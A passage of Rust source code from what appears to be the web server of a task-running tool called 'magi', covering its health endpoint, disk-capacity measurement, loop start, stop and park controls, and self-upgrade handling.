2663    Trigger,
2664}
2665
2666fn auto_upgrade_decision(
2667    cfg: &Update,
2668    disabled: bool,
2669    in_motion: bool,
2670    busy: bool,
2671    tag: &str,
2672    failed: Option<&str>,
2673) -> AutoUpgradeDecision {
2674    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2675        AutoUpgradeDecision::Skip("disabled")
2676    } else if in_motion {
2677        AutoUpgradeDecision::Skip("upgrade already in progress")
2678    } else if failed == Some(tag) {
2679        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2680    } else if busy {
2681        AutoUpgradeDecision::Wait
2682    } else {
2683        AutoUpgradeDecision::Trigger
2684    }
2685}
2686
2687/// Refresh the shared cache and optionally request the same handover as the UI.
2688async fn run_update_recheck(ui: Arc<Ui>) {
2689    loop {
2690        let cfg = match Config::discover(&ui.repo, None) {
2691            Ok((cfg, _)) => cfg,
2692            Err(e) => {
2693                updater::log_warn(
2694                    &ui.home,
2695                    &format!("auto-upgrade: config unavailable: {e:#}"),
2696                );
2697                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2698                continue;
2699            }
2700        };
2701        if should_spawn_recheck(&cfg.update)
2702            && let Some(checker) = updater::Checker::new(&cfg.update)
2703        {
2704            let progress = updater::read_progress(&ui.home);
2705            let mut latest = checker.cached_update();
2706            if update_recheck_due(&checker, progress.as_ref()) {
2707                match checker.newer_release().await {
2708                    Ok(found) => latest = found,
2709                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2710                }
2711            }
2712            if cfg.update.auto_restart
2713                && let Some(latest) = latest
2714            {
2715                let response =
2716                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2717                updater::log_step(
2718                    &ui.home,
2719                    &format!("auto-upgrade: request status {}", response.status()),
2720                );
2721            }
2722        }
2723        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2724    }
2725}
2726
2727/// [`UpdateView`] from the same throttled, disk-only state
2728/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2729/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2730/// no cached state at all, which is correct: an operator who turned checking
2731/// off gets no opinion, not a stale one.
2732fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2733    let default;
2734    let cfg = match cfg {
2735        Some(cfg) => cfg,
2736        None => {
2737            default = Config::default();
2738            &default
2739        }
2740    };
2741    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2742    match latest {
2743        Some(latest) => UpdateView {
2744            available: true,
2745            to: Some(latest.tag_name),
2746        },
2747        None => UpdateView {
2748            available: false,
2749            to: None,
2750        },
2751    }
2752}
2753
2754/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2755/// from the parked run's own state when the stage is
2756/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2757/// already on disk in `run.json`, so this reads them fresh rather than
2758/// trusting whatever was true the moment the park was requested.
2759fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2760    let now = Timestamp::now();
2761    let lease = updater::read_lease(&ui.home);
2762    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2763    let run_id = alive
2764        .and_then(|l| l.parked_run.as_deref())
2765        .or(progress.parked_run.as_deref());
2766    let parking = progress.stage == updater::Stage::Parking;
2767    let waited = alive.map_or_else(String::new, |l| {
2768        let secs = updater::waited_secs(l, now);
2769        format!(" (waited {} min so far)", secs / 60)
2770    });
2771    let run_text = run_id
2772        .filter(|_| parking)
2773        .map(|id| match read_run(&ui.runs, id).ok() {
2774            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2775            None => format!("run {id} is finishing"),
2776        });
2777    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2778        .filter(|t| parking && !t.is_empty())
2779        .map(|t| format!("{t} finishing"));
2780    let waiting_on = match (run_text, talks_text) {
2781        (None, None) => None,
2782        (run, talks) => {
2783            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2784            Some(format!(
2785                "{} before the address is handed over{waited}",
2786                parts.join(" and ")
2787            ))
2788        }
2789    };
2790    let detail = progress
2791        .detail
2792        .clone()
2793        .or_else(|| updater::read_note(&ui.home, &progress));
2794    let stalled = updater::stall(&progress, lease.as_ref(), now);
2795    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2796    UpgradeProgressView {
2797        trigger: progress.trigger,
2798        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2799        stuck_kind: stalled.map(|s| s.kind),
2800        handover_alive: alive.is_some(),
2801        stage: progress.stage,
2802        from: progress.from,
2803        to: progress.to,
2804        waiting_on,
2805        started_at: progress.started_at,
2806        updated_at: progress.updated_at,
2807        detail,
2808    }
2809}
2810
2811/// Last successful capacity observations, independent of admission/cleanup.
2812/// Cold or unavailable directory measurements are null, never invented zeros.
2813#[derive(Debug, Serialize)]
2814struct DiskView {
2815    /// Free bytes on the volume holding the runs, when measurable.
2816    #[serde(skip_serializing_if = "Option::is_none")]
2817    free_bytes: Option<u64>,
2818    /// Everything the runs directory occupies, when fully measurable.
2819    runs_bytes: Option<u64>,
2820    /// Everything the runs' worktrees occupy.
2821    worktrees_bytes: Option<u64>,
2822    /// The shared build cache's size, when the config names one.
2823    #[serde(skip_serializing_if = "Option::is_none")]
2824    cache_bytes: Option<u64>,
2825    /// Last bounded cleanup report, including retention and failure reasons.
2826    retention: Option<crate::retention::Report>,
2827}
2828
2829/// Capacity walks have their own demand-driven single flight, not the revision
2830/// worker: a large build cache must never delay revisions or a health response.
2831const DISK_REFRESH: Duration = Duration::from_secs(60);
2832
2833#[derive(Debug, Clone, PartialEq, Eq)]
2834struct DiskScope {
2835    runs: PathBuf,
2836    worktrees: PathBuf,
2837    cache: Option<PathBuf>,
2838}
2839
2840impl DiskScope {
2841    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2842        Self {
2843            runs: ui.runs.clone(),
2844            worktrees: ui.worktrees_root.clone(),
2845            cache: cfg.and_then(Config::cache_dir),
2846        }
2847    }
2848}
2849
2850#[derive(Debug, Clone, Copy, Default)]
2851struct DiskCapacity {
2852    free_bytes: Option<u64>,
2853    runs_bytes: Option<u64>,
2854    worktrees_bytes: Option<u64>,
2855    cache_bytes: Option<u64>,
2856}
2857
2858impl DiskCapacity {
2859    fn measure(scope: &DiskScope) -> Self {
2860        Self {
2861            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2862            runs_bytes: disk_capacity_size(&scope.runs),
2863            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2864            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2865        }
2866    }
2867
2868    fn retain_successes(&mut self, next: Self) {
2869        self.free_bytes = next.free_bytes.or(self.free_bytes);
2870        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2871        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2872        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2873    }
2874}
2875
2876/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2877/// best-effort total, an incomplete observation must not look like an empty tree.
2878fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2879    let metadata = match std::fs::symlink_metadata(path) {
2880        Ok(metadata) => metadata,
2881        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2882        Err(_) => return None,
2883    };
2884    if !metadata.is_dir() {
2885        return Some(if metadata.is_file() {
2886            metadata.len()
2887        } else {
2888            0
2889        });
2890    }
2891    let mut total = 0;
2892    let mut stack = vec![path.to_owned()];
2893    while let Some(dir) = stack.pop() {
2894        for entry in std::fs::read_dir(dir).ok()? {
2895            let entry = entry.ok()?;
2896            let metadata = entry.metadata().ok()?;
2897            if metadata.is_dir() {
2898                stack.push(entry.path());
2899            } else if metadata.is_file() {
2900                total += metadata.len();
2901            }
2902        }
2903    }
2904    Some(total)
2905}
2906
2907#[derive(Debug, Default)]
2908struct DiskObservation {
2909    scope: Option<DiskScope>,
2910    capacity: DiskCapacity,
2911    in_flight: bool,
2912    finished: Option<std::time::Instant>,
2913}
2914
2915impl DiskObservation {
2916    fn observe(
2917        state: &Arc<Mutex<Self>>,
2918        scope: DiskScope,
2919        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2920    ) -> DiskCapacity {
2921        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2922        if observation.scope.as_ref() != Some(&scope) {
2923            observation.scope = Some(scope.clone());
2924            observation.capacity = DiskCapacity::default();
2925            observation.finished = None;
2926        }
2927        let capacity = observation.capacity;
2928        if observation.in_flight
2929            || observation
2930                .finished
2931                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2932        {
2933            return capacity;
2934        }
2935        observation.in_flight = true;
2936        drop(observation);
2937
2938        let refresh = DiskRefresh {
2939            state: Arc::clone(state),
2940            scope,
2941        };
2942        tokio::task::spawn_blocking(move || {
2943            let next = measure(&refresh.scope);
2944            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2945            if observation.scope.as_ref() == Some(&refresh.scope) {
2946                observation.capacity.retain_successes(next);
2947            }
2948            drop(observation);
2949            // The guard also clears the flight on panic or a cancelled,
2950            // not-yet-started blocking job. No failed scan can wedge health.
2951            drop(refresh);
2952        });
2953        capacity
2954    }
2955}
2956
2957struct DiskRefresh {
2958    state: Arc<Mutex<DiskObservation>>,
2959    scope: DiskScope,
2960}
2961
2962impl Drop for DiskRefresh {
2963    fn drop(&mut self) {
2964        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2965        observation.in_flight = false;
2966        if observation.scope.as_ref() == Some(&self.scope) {
2967            // Wait a full period after completion, including failed scans.
2968            observation.finished = Some(std::time::Instant::now());
2969        }
2970    }
2971}
2972
2973impl DiskView {
2974    /// Return immediately, retaining known capacity while one worker refreshes.
2975    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2976        let capacity = DiskObservation::observe(
2977            &ui.monitor.disk,
2978            DiskScope::of(ui, cfg),
2979            DiskCapacity::measure,
2980        );
2981        Self::with_capacity(ui, capacity)
2982    }
2983
2984    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2985        Self {
2986            free_bytes: crate::disk::free_bytes(&ui.runs)
2987                .ok()
2988                .or(capacity.free_bytes),
2989            runs_bytes: capacity.runs_bytes,
2990            worktrees_bytes: capacity.worktrees_bytes,
2991            cache_bytes: capacity.cache_bytes,
2992            retention: ui
2993                .runs
2994                .parent()
2995                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2996                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2997        }
2998    }
2999}
3000
3001/// The daemon's state as the UI presents it.
3002#[derive(Debug, Serialize)]
3003struct DaemonView {
3004    running: bool,
3005    idle: Option<bool>,
3006    dispatch_wait: Option<daemon::DispatchWait>,
3007    pid: Option<u32>,
3008    /// Every task and run currently in flight. Empty when idle; more than
3009    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3010    /// run going at once.
3011    current: Vec<daemon::Current>,
3012    completed: Option<u64>,
3013    stale_for_secs: Option<i64>,
3014}
3015
3016impl DaemonView {
3017    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3018    /// not this UI's — a crashed daemon must not look alive here while
3019    /// `doctor` calls it dead.
3020    fn of(status: Option<daemon::Reading>) -> Self {
3021        let Some(status) = status else {
3022            return Self {
3023                running: false,
3024                idle: None,
3025                dispatch_wait: None,
3026                pid: None,
3027                current: Vec::new(),
3028                completed: None,
3029                stale_for_secs: None,
3030            };
3031        };
3032        let now = Timestamp::now();
3033        let age = status.age_secs(now);
3034        Self {
3035            running: status.running(now),
3036            idle: Some(status.idle),
3037            dispatch_wait: status.dispatch_wait,
3038            pid: status.pid,
3039            current: status.current,
3040            completed: Some(status.completed),
3041            stale_for_secs: age,
3042        }
3043    }
3044}
3045
3046// Discover display configuration off the request path. Capacity measurement
3047// retains its separate single flight and scope/failure handling below.
3048fn refresh_health_config(ui: &Arc<Ui>) {
3049    let mut cache = ui
3050        .monitor
3051        .disk_cache
3052        .lock()
3053        .unwrap_or_else(PoisonError::into_inner);
3054    if cache.loading
3055        || cache
3056            .measured
3057            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3058    {
3059        return;
3060    }
3061    cache.loading = true;
3062    let weak = Arc::downgrade(ui);
3063    std::thread::spawn(move || {
3064        let Some(ui) = weak.upgrade() else { return };
3065        let cfg = deputy_config(&ui.repo);
3066        let update = cached_update_view(cfg.as_ref());
3067        let mut cache = ui
3068            .monitor
3069            .disk_cache
3070            .lock()
3071            .unwrap_or_else(PoisonError::into_inner);
3072        cache.config = cfg;
3073        cache.update = Some(update);
3074        cache.measured = Some(std::time::Instant::now());
3075        cache.loading = false;
3076    });
3077}
3078
3079fn health_counts(
3080    ui: &Ui,
3081    fallback_questions_rev: u64,
3082) -> ApiResult<(usize, usize, usize, u64, usize)> {
3083    let mut index = ui
3084        .monitor
3085        .health_index
3086        .lock()
3087        .unwrap_or_else(PoisonError::into_inner);
3088    let ids = run_ids(&ui.runs);
3089    let seen: HashSet<_> = ids.iter().cloned().collect();
3090    index.runs.retain(|id, _| seen.contains(id));
3091    let mut unreadable = 0;
3092    for id in ids {
3093        // Recheck identity on every request, including atomic replacements
3094        // with preserved length/mtime. A failed stat is never cached as good.
3095        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3096        let bad = match identity {
3097            Ok(identity) => {
3098                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3099                    let bad = read_run(&ui.runs, &id).is_err();
3100                    index.runs.insert(id.clone(), (identity, bad));
3101                    #[cfg(test)]
3102                    {
3103                        index.run_parses += 1;
3104                    }
3105                }
3106                index.runs[&id].1
3107            }
3108            Err(_) => true,
3109        };
3110        unreadable += usize::from(bad);
3111    }
3112    let questions_rev = try_stamps(ui.questions.root(), false, true)
3113        .map(|stamps| stamps_revision(&stamps))
3114        .unwrap_or(fallback_questions_rev);
3115    if index.questions.as_ref().is_none_or(|counts| {
3116        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3117    }) {
3118        let questions = ui.questions.list();
3119        index.questions = Some(QuestionCounts {
3120            revision: questions_rev,
3121            measured: std::time::Instant::now(),
3122            open: questions.iter().filter(|q| q.status.open()).count(),
3123            owner: questions
3124                .iter()
3125                .filter(|q| {
3126                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3127                })
3128                .count(),
3129        });
3130    }
3131    let notifications_rev =
3132        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3133    if index
3134        .notices
3135        .is_none_or(|(rev, _)| rev != notifications_rev)
3136    {
3137        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3138    }
3139    let questions = index.questions.as_ref().unwrap();
3140    Ok((
3141        unreadable,
3142        questions.open,
3143        questions.owner,
3144        notifications_rev,
3145        index.notices.unwrap().1,
3146    ))
3147}
3148
3149async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3150    let revisions = ui.monitor.revisions(&ui).await?;
3151    refresh_health_config(&ui);
3152    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3153        // One read of the status file for the two fields that describe it, so
3154        // `daemon` and `loop` in the same answer cannot disagree about who is
3155        // running the loop.
3156        let reading = daemon::read_status(&ui.home);
3157        // Read on its own line, not inside the literal below: the loop's lock
3158        // is not reentrant, and a guard taken as a temporary there would still
3159        // be held when `loop_view` took it again.
3160        let loop_rev = ui.lock_loop().rev;
3161        let (
3162            runs_unreadable,
3163            questions_open,
3164            questions_needs_owner,
3165            notifications_rev,
3166            notifications_unread,
3167        ) = health_counts(&ui, revisions.2)?;
3168        let ((cfg, config_observed, sizes, measured), update) = {
3169            let cache = ui
3170                .monitor
3171                .disk_cache
3172                .lock()
3173                .unwrap_or_else(PoisonError::into_inner);
3174            (
3175                (
3176                    cache.config.clone(),
3177                    cache.measured.is_some(),
3178                    cache.disk.clone(),
3179                    cache.measured,
3180                ),
3181                cache.update.clone().unwrap_or(UpdateView {
3182                    available: false,
3183                    to: None,
3184                }),
3185            )
3186        };
3187        // Retain the base's capacity observation independently of config
3188        // refreshes. A cold config read may still be pending; an existing
3189        // capacity flight must remain visible to concurrent health requests.
3190        let prior_capacity = {
3191            let mut observation = ui
3192                .monitor
3193                .disk
3194                .lock()
3195                .unwrap_or_else(PoisonError::into_inner);
3196            // Adopt a completed size snapshot only before the scoped capacity
3197            // observer has started. Later scope changes remain its authority.
3198            if observation.scope.is_none()
3199                && let Some(sizes) = sizes
3200            {
3201                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3202                observation.capacity = DiskCapacity {
3203                    runs_bytes: Some(sizes.runs),
3204                    worktrees_bytes: Some(sizes.worktrees),
3205                    cache_bytes: sizes.cache,
3206                    free_bytes: None,
3207                };
3208                observation.finished = measured;
3209            }
3210            observation.scope.as_ref().map(|_| observation.capacity)
3211        };
3212        let disk = if config_observed {
3213            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3214        } else {
3215            serde_json::to_value(DiskView::with_capacity(
3216                &ui,
3217                prior_capacity.unwrap_or_default(),
3218            ))
3219            .ok()
3220        };
3221        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3222        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3223        #[cfg(not(test))]
3224        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3225        #[cfg(test)]
3226        let looping = ui.loop_view(reading.clone());
3227        Ok(Json(HealthView {
3228            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3229            version: env!("CARGO_PKG_VERSION"),
3230            home: ui.home.display().to_string(),
3231            queue_rev: revisions.0,
3232            runs_rev: revisions.1,
3233            questions_rev: revisions.2,
3234            talks_rev: revisions.3,
3235            notifications_rev,
3236            notifications_unread,
3237            loop_rev,
3238            runs_unreadable,
3239            questions_open,
3240            questions_needs_owner,
3241            daemon: DaemonView::of(reading.clone()),
3242            looping,
3243            disk,
3244            update,
3245            upgrade,
3246            upgrade_request_error: ui
3247                .upgrade_request_error
3248                .lock()
3249                .unwrap_or_else(PoisonError::into_inner)
3250                .clone(),
3251        }))
3252    })
3253    .await
3254}
3255
3256/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3257#[derive(Debug, Serialize)]
3258struct LoopView {
3259    /// A scheduler is running, independently of this web process.
3260    running: bool,
3261    /// The scheduler has been asked to stop scheduling new work.
3262    stopping: bool,
3263    /// An explicit operator park was requested, independently from updates.
3264    parking: bool,
3265    /// This scheduler supports durable controls from any web generation.
3266    owned: bool,
3267    /// Repository the loop uses for tasks that name none - what it was
3268    /// started with while it runs, and what a start would use before that.
3269    repo: String,
3270    /// Merge mode override in force, or `null` when each repository's own
3271    /// config decides.
3272    merge: Option<String>,
3273    /// Why the last loop in this process ended, when it ended badly.
3274    ///
3275    /// The only place a crashed loop is visible to someone holding a phone.
3276    /// It is logged at error level as well, but a terminal nobody kept open
3277    /// is not a report, and a loop that died at 3am must not read as merely
3278    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3279    /// answers the same question about the same kind of failure.
3280    last_error: Option<String>,
3281    /// The status file, judged the same way `/api/health` judges it: this is
3282    /// what says whether a loop is alive in some *other* process.
3283    daemon: DaemonView,
3284}
3285
3286/// A legacy embedded scheduler that this web process cannot control.
3287///
3288/// Worker-protocol schedulers use durable controls regardless of which process
3289/// started them. Older schedulers are identified by their foreign heartbeat.
3290#[derive(Debug, Clone, Copy)]
3291struct Foreign {
3292    /// The pid the other process published, when it published one.
3293    pid: Option<u32>,
3294}
3295
3296impl Foreign {
3297    /// Another process's live loop, or `None` when this process is free to
3298    /// run one.
3299    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3300        // A fresh heartbeat with no pid in it is still evidence of a live
3301        // daemon. "Some other process" is the honest answer, and refusing
3302        // to start beside it is the safe one.
3303        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3304            return None;
3305        }
3306        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3307    }
3308
3309    /// How a conflict names it. The pid is the whole point of the message: it
3310    /// is what the operator needs to find the terminal that owns the loop.
3311    fn who(&self) -> String {
3312        match self.pid {
3313            Some(pid) => format!("another magi process (pid {pid})"),
3314            None => "another magi process".to_owned(),
3315        }
3316    }
3317}
3318
3319/// How a loop is started, as a future this module can hold onto.
3320///
3321/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3322/// trait object or a hand-written `Debug` impl for the sake of one seam.
3323type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3324
3325#[cfg(test)]
3326type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3327
3328/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3329#[cfg(test)]
3330fn launch_daemon(
3331    opts: daemon::Opts,
3332    stop: daemon::Stop,
3333) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3334    Box::pin(daemon::serve_until(opts, stop))
3335}
3336
3337/// Local web-control revisions and errors, plus the unit-test launch seam.
3338#[derive(Debug, Default)]
3339struct LoopState {
3340    /// The loop, while there is one.
3341    #[cfg(test)]
3342    live: Option<Live>,
3343    /// Local control changes streamed as `loop_rev`; actual scheduler and
3344    /// execution ownership comes from durable status and OS-held worker leases.
3345    rev: u64,
3346    /// Why the last loop ended, when it ended badly. See
3347    /// [`LoopView::last_error`].
3348    last_error: Option<String>,
3349}
3350
3351/// A loop in flight.
3352#[cfg(test)]
3353#[derive(Debug)]
3354struct Live {
3355    /// The cooperative stop, shared with the loop task.
3356    stop: daemon::Stop,
3357    /// The task itself, kept only to answer whether it is still there: a loop
3358    /// that panicked never records its own end, and without this the view
3359    /// would go on reporting a loop that no longer exists - the one lie that
3360    /// would leave the operator with no button to press.
3361    handle: tokio::task::JoinHandle<()>,
3362    /// What the loop was started with, so the view reports the repository and
3363    /// merge mode its runs will actually use rather than what an edit to the
3364    /// config since would give.
3365    opts: daemon::Opts,
3366}
3367
3368#[cfg(test)]
3369impl Live {
3370    /// Is the task still there? See [`Live::handle`].
3371    fn alive(&self) -> bool {
3372        !self.handle.is_finished()
3373    }
3374}
3375
3376/// Take the loop lock, recovering from a poisoned one.
3377///
3378/// What this mutex holds is a stop flag, a task handle and two counters, none
3379/// of which a panic elsewhere can leave in a state worth refusing to read.
3380/// Propagating the poison instead would mean an operator who can see the loop
3381/// running and can no longer stop it from the only surface they have.
3382fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3383    state.lock().unwrap_or_else(PoisonError::into_inner)
3384}
3385
3386/// `GET /api/loop`.
3387async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3388    blocking(move || {
3389        let reading = daemon::read_status(&ui.home);
3390        #[cfg(not(test))]
3391        let view = ui.try_loop_view(reading)?;
3392        #[cfg(test)]
3393        let view = ui.loop_view(reading);
3394        Ok(Json(view))
3395    })
3396    .await
3397}
3398
3399/// The body of `POST /api/loop`.
3400///
3401/// One required field and nothing else: no `default` and no unknown fields,
3402/// so a body that fails to say which way the switch was flipped is a 400
3403/// rather than a tap that quietly does the opposite of what was pressed.
3404#[derive(Debug, Deserialize)]
3405#[serde(deny_unknown_fields)]
3406struct LoopCommand {
3407    running: bool,
3408    /// Stop the run in flight at its next node boundary rather than letting it
3409    /// finish.
3410    ///
3411    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3412    /// competition is tens of minutes of paid work and finishing it is
3413    /// normally the cheapest thing to do. A park is for the operator who
3414    /// wants the process gone now - to replace the binary, most of all - and
3415    /// it costs at most the node in progress because every node writes its
3416    /// state before the next one starts.
3417    #[serde(default)]
3418    park: bool,
3419}
3420
3421/// Start or control the detached scheduler without waiting for execution
3422/// workers. Only an explicit park asks workers to stop at a node boundary.
3423async fn loop_post(
3424    State(ui): State<Arc<Ui>>,
3425    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3426) -> ApiResult<Json<LoopView>> {
3427    // Taken as a `Result` so a malformed body is a 400 like every other route
3428    // here, rather than axum's default 422 that the UI has no branch for.
3429    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3430    #[cfg(not(test))]
3431    {
3432        if body.running {
3433            ui.start_detached_loop().await?;
3434        } else {
3435            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3436            ui.stop_loop(foreign, body.park)?;
3437        }
3438        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3439    }
3440    #[cfg(test)]
3441    {
3442        blocking(move || {
3443            let reading = daemon::read_status(&ui.home);
3444            let foreign = Foreign::of(reading.as_ref());
3445            if body.running {
3446                ui.start_loop(foreign)?;
3447            } else {
3448                ui.stop_loop(foreign, body.park)?;
3449            }
3450            Ok(Json(ui.loop_view(reading)))
3451        })
3452        .await
3453    }
3454}
3455
3456/// What `POST /api/upgrade` set in motion.
3457#[derive(Debug, Serialize)]
3458struct UpgradeView {
3459    /// The version this process is running.
3460    from: String,
3461    /// The release it is replacing itself with, when there is one.
3462    to: Option<String>,
3463    /// What the operator should expect to happen next.
3464    detail: String,
3465}
3466
3467/// The stage of an upgrade that is still moving, if the record says so.
3468/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3469fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3470    progress.filter(|p| !p.stage.terminal())
3471}
3472
3473/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3474/// Unknown diagnostics retain their complete message without guessing a delay.
3475fn upgrade_retry_after(message: &str) -> Option<u64> {
3476    if !message.contains("GitHub") || !message.contains("rate limit") {
3477        return None;
3478    }
3479    if message.contains("retry now") {
3480        return Some(0);
3481    }
3482    let duration = message
3483        .split_once("resets in ")
3484        .or_else(|| message.split_once("retry after "))?
3485        .1
3486        .split_once(')')?
3487        .0;
3488    let mut rest = duration.trim();
3489    if rest.is_empty() {
3490        return None;
3491    }
3492    let mut total = 0u64;
3493    while !rest.is_empty() {
3494        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3495        let amount: u64 = rest[..n].parse().ok()?;
3496        let scale = match rest[n..].chars().next()? {
3497            's' => 1,
3498            'm' => 60,
3499            'h' => 3600,
3500            'd' => 86400,
3501            _ => return None,
3502        };
3503        total = total.checked_add(amount.checked_mul(scale)?)?;
3504        rest = rest[n + 1..].trim_start();
3505    }
3506    Some(total)
3507}
3508
3509#[derive(Debug, Clone, Serialize)]
3510struct UpgradeRequestFailure {
3511    occurred_at: String,
3512    error: String,
3513    retry_after_secs: Option<u64>,
3514    /// Unix seconds; independent of the phone's polling cadence.
3515    retry_at: Option<u64>,
3516}
3517
3518impl UpgradeRequestFailure {
3519    fn new(error: String) -> Self {
3520        let retry_after_secs = upgrade_retry_after(&error);
3521        let now = std::time::SystemTime::now()
3522            .duration_since(std::time::UNIX_EPOCH)
3523            .unwrap_or_default()
3524            .as_secs();
3525        Self {
3526            occurred_at: jiff::Timestamp::now().to_string(),
3527            error,
3528            retry_after_secs,
3529            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3530        }
3531    }
3532}
3533
3534/// `POST /api/upgrade` - replace this binary with the newest release and come
3535/// back on it.
3536///
3537/// Replace the installed binary, restart the detached scheduler, release the
3538/// web listener, then start the successor. Active task and conversation
3539/// workers retain their immutable executable and continue without parking.
3540///
3541/// A legacy embedded scheduler is the only incompatible owner: its work
3542/// must finish or park before the first migration replaces its process.
3543///
3544/// Answers **202**: the reply has to reach the phone while this process can
3545/// still send one, and the phone learns the deck is back by reconnecting.
3546async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3547    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3548}
3549
3550async fn begin_upgrade(
3551    ui: &Arc<Ui>,
3552    trigger: updater::UpgradeTrigger,
3553    latest: Option<kaishin::LatestRelease>,
3554) -> Response {
3555    let reading = daemon::read_status(&ui.home);
3556    if let Some(other) = Foreign::of(reading.as_ref()) {
3557        return ApiError::conflict(format!(
3558            "{} is a legacy scheduler without detached restart support. \
3559             Finish or explicitly park its work in the existing UI before \
3560             this first migration; independent schedulers do not need this.",
3561            other.who()
3562        ))
3563        .into_response();
3564    }
3565
3566    // A second upgrade while one is moving would replace the binary and
3567    // signal the handover again after `serve` already consumed the first
3568    // signal, leaving the process in `replaced` forever. Try-lock rather than
3569    // wait: a phone connection must not hang behind a GitHub round trip.
3570    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3571        return ApiError::conflict("another request is already preparing an upgrade")
3572            .into_response();
3573    };
3574    // Hold the same gate through recording/clearing the request outcome, so
3575    // an older response cannot overwrite a retry's result.
3576    if trigger == updater::UpgradeTrigger::Auto {
3577        let cfg = match Config::discover(&ui.repo, None) {
3578            Ok((cfg, _)) => cfg,
3579            Err(e) => {
3580                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3581            }
3582        };
3583        let Some(latest) = latest else {
3584            return StatusCode::NO_CONTENT.into_response();
3585        };
3586        let busy = ui.auto_upgrade_busy();
3587        let failed = ui
3588            .auto_failed_tag
3589            .lock()
3590            .unwrap_or_else(PoisonError::into_inner)
3591            .clone();
3592        let decision = auto_upgrade_decision(
3593            &cfg.update,
3594            updater::disabled_by_env(),
3595            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3596                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3597            busy,
